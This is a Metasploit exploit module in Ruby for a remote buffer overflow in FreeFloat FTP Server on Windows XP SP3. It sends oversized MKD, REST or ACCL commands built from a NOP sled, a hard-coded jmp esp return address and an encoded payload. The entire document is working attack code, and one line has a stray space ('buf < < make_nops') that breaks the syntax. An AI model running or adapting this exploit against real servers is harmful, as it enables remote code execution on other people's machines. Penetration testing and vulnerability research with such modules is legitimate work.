$Id: fftp_bof.rb 2011-09-01 20:14 KedAns-Dz $
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a FreeFloat FTP Server Buffer Overflow
found in the MKD/REST/ACCL command's.
},
'Author' => [
'C4SS!0 G0M3S', # Discovery Vuln.
'KedAns-Dz' # Metasploit Module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 0.1',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17539' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17546' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17550' ], # by mortis
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'FreeFloat FTP Server (Windows XP-SP3 / REST command)',
{
'Ret' => 0x7C874413, # jmp esp - (KERNEL32.DLL)
'Offset' => 246,
'CMD' => 'REST'
}
],
[ 'FreeFloat FTP Server (Windows XP-SP3 / MKD command)',
{
'Ret' => 0x7cb97475, # jmp esp - (SHELL32.DLL)
'Offset' => 247,
'CMD' => 'MKD'
}
],
[ 'FreeFloat FTP Server (Windows XP-SP3 / ACCL command)',
{
'Ret' => 0x7C874413, # jmp esp - (KERNEL32.DLL)
'Offset' => 246,
'CMD' => 'ACCL'
}
],
],
'DefaultTarget' => 1))
end
def exploit
connect_login
print_status("Trying target #{target.name}...")
buf = make_nops(target['Offset']) + [target.ret].pack('V')
buf < < make_nops(20)
buf << payload.encoded
send_cmd( [target['CMD'], buf] , false )
handler
disconnect
end
end